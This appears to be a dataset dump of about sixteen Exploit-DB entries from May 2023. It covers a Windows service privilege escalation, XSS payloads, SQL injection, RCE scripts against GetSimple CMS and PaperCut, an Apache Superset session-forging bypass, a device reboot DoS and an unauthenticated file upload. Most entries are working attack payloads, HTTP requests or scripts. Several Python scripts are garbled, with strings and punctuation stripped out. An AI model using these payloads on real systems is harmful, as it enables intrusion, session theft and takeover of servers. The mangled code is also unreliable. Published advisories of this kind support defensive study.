QLWD/code_shield huggingface dataset:
标题: MobileTrans 4.0.11 - Weak Service Privilege Escalation EDB-ID: 51479 CVE: 2023-31748 类型: LOCAL 平台: WINDOWS 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title :MobileTrans  4.0.11 - Weak Service Privilege Escalation
# Date: 20  May 2023
# Exploit Author: Thurein Soe
# Vendor Homepage: https://mobiletrans.wondershare.com/
# Software Link:
https://mega.nz/file/0Et0ybRS#l69LRlvwrwmqDfPGKl_HaJ5LmbeKJu_wH0xYKD8nSVg
# Version: MobileTrans version 4.0.11
# Tested on: Window 10 (Version 10.0.19045.2965)
# CVE : CVE-2023-31748



Vulnerability Description:

MobileTrans is World 1 mobile-to-mobile file transfer
application.MobileTrans version 4.0.11 was being suffered a weak service
permission vulnerability that allows a normal window user to elevate to
local admin. The "ElevationService" service name was installed, while the
MobileTrans version 4.0.11 was installed in the window operating system.
The service "ElevationService" allows the local user to elevate to the
local admin as The "ElevationService" run with system privileges.
Effectively, the local user is able to elevate to local admin upon
successfully modifying the service or replacing the affected executable.

C:\Users\HninKayThayar\Desktop>sc qc ElevationService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: ElevationService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files
(x86)\Wondershare\MobileTrans\ElevationService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Wondershare Driver Install Service help
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\Users\HninKayThayar\Desktop>cacls "C:\Program Files
(x86)\Wondershare\MobileTrans\ElevationService.exe"
C:\Program Files (x86)\Wondershare\MobileTrans\ElevationService.exe
   Everyone:(ID)F
                                                                    NT
AUTHORITY\SYSTEM:(ID)F

BUILTIN\Administrators:(ID)F

BUILTIN\Users:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R

APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R URL: https://www.exploit-db.com/exploits/51479
标题: ChurchCRM v4.5.4 - Reflected XSS via Image (Authenticated) EDB-ID: 51477 CVE: 2023-31699 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: ChurchCRM v4.5.4 - Reflected XSS via Image (Authenticated)
# Date: 2023-04-17
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: http://churchcrm.io/
# Software Link: https://github.com/ChurchCRM/CRM/releases/tag/4.5.4
# Version: 4.5.4
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-31699

Steps to Reproduce:

1. At first login your admin panel.
2. Then click the "Admin" menu and click "CSV Import '' and you will get
the CSV file uploader option.
3. now insert xss payload in jpg file using exiftool or from image
properties and then upload the jpg file.
4. you will see XSS pop up. URL: https://www.exploit-db.com/exploits/51477
标题: GetSimple CMS v3.3.16 - Remote Code Execution (RCE) EDB-ID: 51475 CVE: 2022-41544 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: GetSimple CMS v3.3.16 - Remote Code Execution (RCE)
# Data: 18/5/2023
# Exploit Author : Youssef Muhammad
# Vendor: Get-simple
# Software Link:
# Version app: 3.3.16
# Tested on: linux
# CVE: CVE-2022-41544

import sys
import hashlib
import re
import requests
 xmletree  ElementTree
 threading  Thread
 telnetlib

purple  
reset  
yellow  
blue  
red  

 
    purple   reset

 target path
    r  requestsgetf
    match  research rtext
     match
        version  matchgroup
         version  
             red  f
        
             
         version
     

 target path
    r  requestsgetf
     rok
        tree  ElementTreefromstringrcontent
        apikey  treetext
        f
         apikey
     

 username version apikey
    cookie_name  hashlibsha1fencodehexdigest
    cookie_value  hashlibsha1fencodehexdigest
    cookies  f
    headers  
        
         cookies
    
     headers

 target path headers
    r  requestsgetf headersheaders
    m  research rtext
     m
        
         mgroup
     

 target path headers nonce shell_content
    upload_url  f
    payload  
         shell_content
         
         nonce
         
    
    
        response  requestspostupload_url headersheaders datapayload
         responsestatus_code  
            
        
            
     requestsexceptionsRequestException  e
         e
 target path
    url  f
    
        response  requestsgeturl
         responsestatus_code  
            
        
            
     requestsexceptionsRequestException  e
         e

 
     sysargv  
        
        

    target  sysargv
    path  sysargv
      pathendswith
        path  

    ip port  sysargvsplit
    username  sysargv
    shell_content  f

    version  get_versiontarget path
      version
        
        

    apikey  api_leaktarget path
      apikey
        
        

    headers  set_cookiesusername version apikey

    nonce  get_csrf_tokentarget path headers
      nonce
        
        

    upload_shelltarget path headers nonce shell_content
    shell_triggertarget path

 __name__  
    print_the_banner
    main URL: https://www.exploit-db.com/exploits/51475
标题: Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated) EDB-ID: 51476 CVE: 2023-31698 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated)
# Date: 2023-04-15
# Exploit Author: Rahad Chowdhury
# Vendor Homepage: https://www.bludit.com/
# Software Link: https://github.com/bludit/bludit/releases/tag/3.14.1
# Version: 3.14.1
# Tested on: Windows 10, PHP 7.4.29, Apache 2.4.53
# CVE: CVE-2023-31698

SVG Payload
-------------
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>

save this SVG file xss.svg

Steps to Reproduce:

1. At first login your admin panel.
2. then go to settings and click the logo section.
3. Now upload xss.svg file so your request data will be

POST /bludit/admin/ajax/logo-upload HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0)
Gecko/20100101 Firefox/112.0
Content-Type: multipart/form-data;
boundary=---------------------------15560729415644048492005010998
Referer: http://127.0.0.1/bludit/admin/settings
Cookie: BLUDITREMEMBERUSERNAME=admin;
BLUDITREMEMBERTOKEN=139167a80807781336bc7484552bc985;
BLUDIT-KEY=tmap19d0m813e8rqfft8rsl74i
Content-Length: 651

-----------------------------15560729415644048492005010998
Content-Disposition: form-data; name="tokenCSRF"

626c201693546f472cdfc11bed0938aab8c6e480
-----------------------------15560729415644048492005010998
Content-Disposition: form-data; name="inputFile"; filename="xss.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "
http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400
"/>
<script type="text/javascript">
alert(document.domain);
</script>
</svg>

-----------------------------15560729415644048492005010998--

4. Now open the logo image link that you upload. You will see XSS pop up. URL: https://www.exploit-db.com/exploits/51476
标题: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution EDB-ID: 51470 CVE: 2023-31874 类型: LOCAL 平台: MULTIPLE 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: Yank Note v3.52.1 (Electron) - Arbitrary Code Execution
# Date: 2023-04-27
# Exploit Author: 8bitsec
# CVE: CVE-2023-31874
# Vendor Homepage: yank-note.com
# Software Link: https://github.com/purocean/yn
# Version: 3.52.1
# Tested on: [Ubuntu 22.04 | Mac OS 13]

Release Date: 2023-04-27

Product & Service Introduction: A Hackable Markdown Editor for Programmers. Version control, AI completion, mind map, documents encryption, code snippet running, integrated terminal, chart embedding, HTML applets, Reveal.js, plug-in, and macro replacement

Technical Details & Description:

A vulnerability was discovered on Yank Note v3.52.1 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload.
Mac:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());>')>">

Ubuntu:
<iframe srcdoc"<img srcx onerroralert(parent.parent.nodeRequire('child_process').execSync('gnome-calculator').toString());>')>">

Opening the file in Yank Note will auto execute the Calculator application. URL: https://www.exploit-db.com/exploits/51470
标题: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution EDB-ID: 51469 CVE: 2023-31873 类型: LOCAL 平台: MULTIPLE 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: Gin Markdown Editor v0.7.4 (Electron) - Arbitrary Code Execution
# Date: 2023-04-24
# Exploit Author: 8bitsec
# CVE: CVE-2023-31873
# Vendor Homepage: https://github.com/mariuskueng/gin
# Software Link: https://github.com/mariuskueng/gin
# Version: 0.7.4
# Tested on: [Mac OS 13]

Release Date:

2023-04-24

Product & Service Introduction: Javascript Markdown editor for Mac

Technical Details & Description:
A vulnerability was discovered on Gin markdown editor v0.7.4 allowing a user to execute arbitrary code by opening a specially crafted file.

Proof of Concept (PoC):
Arbitrary code execution:

Create a markdown file (.md) in any text editor and write the following payload:
<video><source onerror"alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">

Opening the file in Gin will auto execute the Calculator application. URL: https://www.exploit-db.com/exploits/51469
标题: eScan Management Console 14.0.1400.2281 - Cross Site Scripting EDB-ID: 51467 CVE: 2023-31703 类型: WEBAPPS 平台: WINDOWS 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: eScan Management Console 14.0.1400.2281 - Cross Site Scripting
# Date: 2023-05-16
# Exploit Author: Sahil Ojha
# Vendor Homepage: https://www.escanav.com
# Software Link: https://cl.escanav.com/ewconsole.dll
# Version: 14.0.1400.2281
# Tested on: Windows
# CVE : CVE-2023-31703

*Step of Reproduction/ Proof of Concept(POC)*

1. Login into the eScan Management Console with a valid user credential.
2. Navigate to URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from=banner&P=
3. Now, Inject the Cross Site Scripting Payload in "from" parameter as
shown below and a valid XSS pop up appeared.
https://cl.escanav.com/ewconsole/ewconsole.dll/editUserName?usrid=4&from="><script>alert(document.cookie)</script>banner&P=
4. By exploiting this vulnerability, any arbitrary attacker could have
stolen an admin user session cookie to perform account takeover. URL: https://www.exploit-db.com/exploits/51467
标题: eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated) EDB-ID: 51466 CVE: 2023-31702 类型: WEBAPPS 平台: WINDOWS 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: eScan Management Console 14.0.1400.2281 - SQL Injection (Authenticated)
# Date: 16/05/2023
# Exploit Author: Sahil Ojha
# Vendor Homepage: https://www.escanav.com
# Software Link: https://cl.escanav.com/ewconsole.dll
# Version: 14.0.1400.2281
# Tested on: Windows
# CVE : CVE-2023-31702

*Step of Reproduction/Proof of concept(POC)*

1. Login into the escan management console with a valid username and
password as root user.
2. Navigate to URL:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1&cnt=4176
3. Inject the payload into the UsrId parameter to confirm the SQL
injection as shown below:
https://cl.escanav.com/ewconsole/ewconsole.dll/GetUserCurrentPwd?UsrId=1;WAITFOR
DELAY '0:0:5'--&cnt=4176
4. The time delay of 5 seconds confirmed that "UsrId" parameter was
vulnerable to SQL Injection. Furthermore, it was also possible to dump
all the databases and inject OS shell directly into the MS SQL Server
using SQLMap tool. URL: https://www.exploit-db.com/exploits/51466
标题: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS) EDB-ID: 51465 CVE: 2023-30256 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: Webkul Qloapps 1.5.2 - Cross-Site Scripting (XSS)
# Date: 15 May 2023
# Exploit Author: Astik Rawat (ahrixia)
# Vendor Homepage: https://qloapps.com/
# Software Link: https://github.com/webkul/hotelcommerce
# Version: 1.5.2
# Tested on: Kali Linux 2022.4
# CVE : CVE-2023-30256


Description:

A Cross Site Scripting (XSS) vulnerability exists in Webkul Qloapps which is a free and open-source hotel reservation & online booking system written in PHP and distributed under OSL-3.0 Licence.

Steps to exploit:
1) Go to Signin page on the system.
2) There are two parameters which can be exploited via XSS
 - back
 - email_create

2.1) Insert your payload in the "back"- GET and POST Request 
 Proof of concept (Poc):
 The following payload will allow you to execute XSS - 
 
 Payload (Plain text): 
 xss onfocus=alert(1) autofocus= xss

 Payload (URL Encoded): 
 xss%20onfocus%3dalert(1)%20autofocus%3d%20xss

 Full GET Request (back): 
 [http://localhost/hotelcommerce-1.5.2/?rand=1679996611398&controller=authentication&SubmitCreate=1&ajax=true&email_create=a&back=xss%20onfocus%3dalert(1)%20autofocus%3d%20xss&token=6c62b773f1b284ac4743871b300a0c4d]

2.2) Insert your payload in the "email_create" - POST Request Only
 Proof of concept (Poc):
 The following payload will allow you to execute XSS - 

 Payload (Plain text): 
 xss><img src=a onerror=alert(document.cookie)>xss

 Payload (URL Encoded): 
 xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss

 POST Request (email_create) (POST REQUEST DATA ONLY): 
 [controller=authentication&SubmitCreate=1&ajax=true&email_create=xss%3e%3cimg%20src%3da%20onerror%3dalert(document.cookie)%3exss&back=my-account&token=6c62b773f1b284ac4743871b300a0c4d] URL: https://www.exploit-db.com/exploits/51465
标题: PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE) EDB-ID: 51452 CVE: 2023-27350 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: PaperCut NG/MG 22.0.4 - Remote Code Execution (RCE)
# Date: 13 May 2023
# Exploit Author: Mohin Paramasivam (Shad0wQu35t) and MaanVader
# Vendor Homepage: https://www.papercut.com/
# Version: 8.0 or later
# Tested on: 22.0.4
# CVE: CVE-2023-27350


import requests
import argparse

Group_payload = {
    "service":"direct/1/OptionsUserSync/$OptionsUserSource.$Form",
    
    ,
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    
    




parser  argparseArgumentParserdescription
parseradd_argument
parseradd_argument
parseradd_argument
args  parserparse_args

url  argsurl
ip  argsip
port  argsport

passwd_input  f

final_payload  
    
    
    
    
    
    
    passwd_input
    
    



session  requestsSession


setup_url  url
response  sessiongetsetup_url
responseraise_for_status  


dashboard_url  url
response  sessiongetdashboard_url
responseraise_for_status  


user_group_change_url  url
response  sessionpostuser_group_change_urldataGroup_payload
responseraise_for_status 


rce_url  url
response  sessionpostrce_urldatafinal_payload
responseraise_for_status 



responsetext URL: https://www.exploit-db.com/exploits/51452
标题: Optoma 1080PSTX Firmware C02 - Authentication Bypass EDB-ID: 51444 CVE: 2023-27823 类型: REMOTE 平台: HARDWARE 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: Optoma 1080PSTX Firmware C02 - Authentication Bypass
# Date: 2023/05/09
# Exploit Author: Anthony Cole
# Contact: http://twitter.com/acole76
# Website: http://twitter.com/acole76
# Vendor Homepage: http://optoma.com
# Version: Optoma 1080PSTX Firmware C02
# Tested on: N/A
# CVE : CVE-2023-27823

Details
By default the web interface of the 1080PSTX requires a username and password to access the application control panel.  However, an attacker, on the same network, can bypass it by manually setting the "atop" cookie to the value of "1".

GET /index.asp HTTP/1.1
Host: projector
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: atop=1
Connection: close URL: https://www.exploit-db.com/exploits/51444
标题: Apache Superset 2.0.0 - Authentication Bypass EDB-ID: 51447 CVE: 2023-27524 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: Apache Superset 2.0.0 - Authentication Bypass
# Date: 10 May 2023
# Exploit Author: MaanVader
# Vendor Homepage: https://superset.apache.org/
# Version: Apache Superset<= 2.0.1
# Tested on: 2.0.0
# CVE: CVE-2023-27524

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
from selenium import webdriver
from urllib.parse import urlparse
urllib3disable_warningsurllib3exceptionsInsecureRequestWarning


SECRET_KEYS  
    b  
    b          
    b                            
    b          
    b                            


 

    parser  argparseArgumentParser
    parseradd_argument   required
    parseradd_argument  required default
    args  parserparse_args

    
        u  argsurlrstrip  

        headers  
             
        

        resp  requestsgetu headersheaders verify timeout allow_redirects
         respstatus_code  
            f
            

        session_cookie  
         c  respcookies
             cname  
                session_cookie  cvalue
                

          session_cookie
            
            

        f

        
            decoded  sessiondecodesession_cookie
            f
        
            
            

        match  researchr resptext
         match
            version  matchgroup
        
            version  

        f

            
         i k  SECRET_KEYS
            cracked  sessionverifysession_cookie k
             cracked
                

          cracked
            
            

        f

        
            user_id  args
        
            user_id  args
        
        forged_cookie  sessionsign user_id  user_id k
        f
        u1  argsurlrstrip  

        f




     Exception  e
        f


 __name__  
    main URL: https://www.exploit-db.com/exploits/51447
标题: PnPSCADA v2.x - Unauthenticated PostgreSQL Injection EDB-ID: 51448 CVE: 2023-1934 类型: WEBAPPS 平台: HARDWARE 发布日期: 2023-05-23 漏洞利用脚本: # Exploit Title: PnPSCADA v2.x - Unauthenticated PostgreSQL Injection
# Date: 15/5/2023
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Samurai Digital Security Ltd
# Vendor Homepage: https://pnpscada.com/
# Version: PnPSCADA (cross platforms): v2.x
# Tested on: Unix
# CVE : CVE-2023-1934
# Proof-of-Concept: https://drive.google.com/drive/u/0/folders/1r_HMoaU3P0t-04gMM90M0hfdBRi_P0_8

SQLi crashing point:

GET /hitlogcsv.isp?userids=1337'&startdate=
2022-12-138200083A0093A00&enddate=2022-12-138201383A1783A00
HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US)
AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0
Safari/534.14
Host: vulnerablepnpscada.int
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close URL: https://www.exploit-db.com/exploits/51448
标题: FLEX 1080 < 1085 Web 1.6.0 - Denial of Service EDB-ID: 51438 CVE: 2022-2591 类型: DOS 平台: ANDROID 发布日期: 2023-05-13 漏洞利用脚本: # Exploit Title: FLEX 1080 < 1085 Web 1.6.0 - Denial of Service
# Date: 2023-05-06
# Exploit Author: Mr Empy
# Vendor Homepage: https://www.tem.ind.br/
# Software Link: https://www.tem.ind.br/?page=prod-detalhe&id=94
# Version: 1.6.0
# Tested on: Android
# CVE ID: CVE-2022-2591
#!/usr/bin/env python3
import requests
import re
import argparse
from colorama import Fore
import time

def main():
     
        
     
        r  requestsgetf
           rtext
            
        
            f'ForeLIGHTRED_EX ForeLIGHTWHITE_EXO hardware
não é vulnerável'
            quit

    banner
    f
     
        
            reboot
            f'ForeLIGHTGREEN_EX ForeLIGHTWHITE_EX Hardware
derrubado com sucesso!'
            timesleep
        

está inativo'
            

 __name__  
    parser  argparseArgumentParser
    parseradd_argument action 
dest required
    arguments  parserparse_args
    
        main
     KeyError
        quit URL: https://www.exploit-db.com/exploits/51438
标题: Jedox 2022.4.2 - Disclosure of Database Credentials via Connection Checks EDB-ID: 51429 CVE: 2022-47880 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Jedox 2022.4.2 - Disclosure of Database Credentials via Connection Checks
# Date: 28/04/2023
# Exploit Author: Team Syslifters / Christoph MAHRL, Aron MOLNAR, Patrick PIRKER and Michael WEDL
# Vendor Homepage: https://jedox.com
# Version: Jedox 2022.4 (22.4.2) and older
# CVE : CVE-2022-47880


Introduction
=================
An information disclosure vulnerability in `/be/rpc.php` allows remote authenticated users with the appropriate permissions to modify database connections to disclose the clear text credentials via the `test connection` function. To exploit the vulnerability, the attacker must set the host of the database connection to a server under his control.


Write-Up
=================
See [Docs Syslifters](https://docs.syslifters.com/) for a detailed write-up on how to exploit vulnerability.


Proof of Concept
=================
1) The host part of a database connection can be changed in the connections details in the UI. Set the Host to a server that you control.

2) Test the database connection.

3) The webserver initiates a connection to the server that you control. Use wireshark to capture network traffic and to ultimately extract the database credentials. URL: https://www.exploit-db.com/exploits/51429
标题: Online Pizza Ordering System v1.0 - Unauthenticated File Upload EDB-ID: 51431 CVE: 2023-2246 类型: WEBAPPS 平台: PHP 发布日期: 2023-05-05 漏洞利用脚本: # Exploit Title: Online Pizza Ordering System 1.0 - Unauthenticated File Upload
# Date: 03/05/2023
# Exploit Author: URGAN 
# Vendor Homepage: https://www.sourcecodester.com/php/16166/online-pizza-ordering-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/php-opos.zip
# Version: v1.0
# Tested on: LAMP Fedora Server 27 (Twenty Seven) Apache/2.4.34 (Fedora) 10.2.19-MariaDB PHP 7.1.23 
# CVE: CVE-2023-2246

#!/usr/bin/env python3
# coding: utf-8

 os
 requests
 argparse
 bs4  BeautifulSoup


parser  argparseArgumentParser
parseradd_argument   
parseradd_argument   
args  parserparse_args


  argsurl  argspayload
    argsurl  
    argspayload  


url  argsurl  
img_url  argsurl  

filename  ospathbasenameargspayload

files  
  filenameargspayload



resp_upl  requestsposturl files  files
status_code  resp_uplstatus_code
 status_code  
    

    f
     SystemExitf


resp_find  requestsgetimg_url


soup  BeautifulSoupresp_findtext 


links  soupfind_all


found_files  


 link  links
    file_upl  linkget
     file_uplendswithfilename 
         file_upl
        file_url  img_url  file_upl 
        found_filesappendfile_url 


 found_files
    
     file_url  found_files
          file_url URL: https://www.exploit-db.com/exploits/51431